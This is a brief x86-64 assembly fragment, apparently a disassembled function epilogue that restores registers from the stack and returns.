mov eax, ebp
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret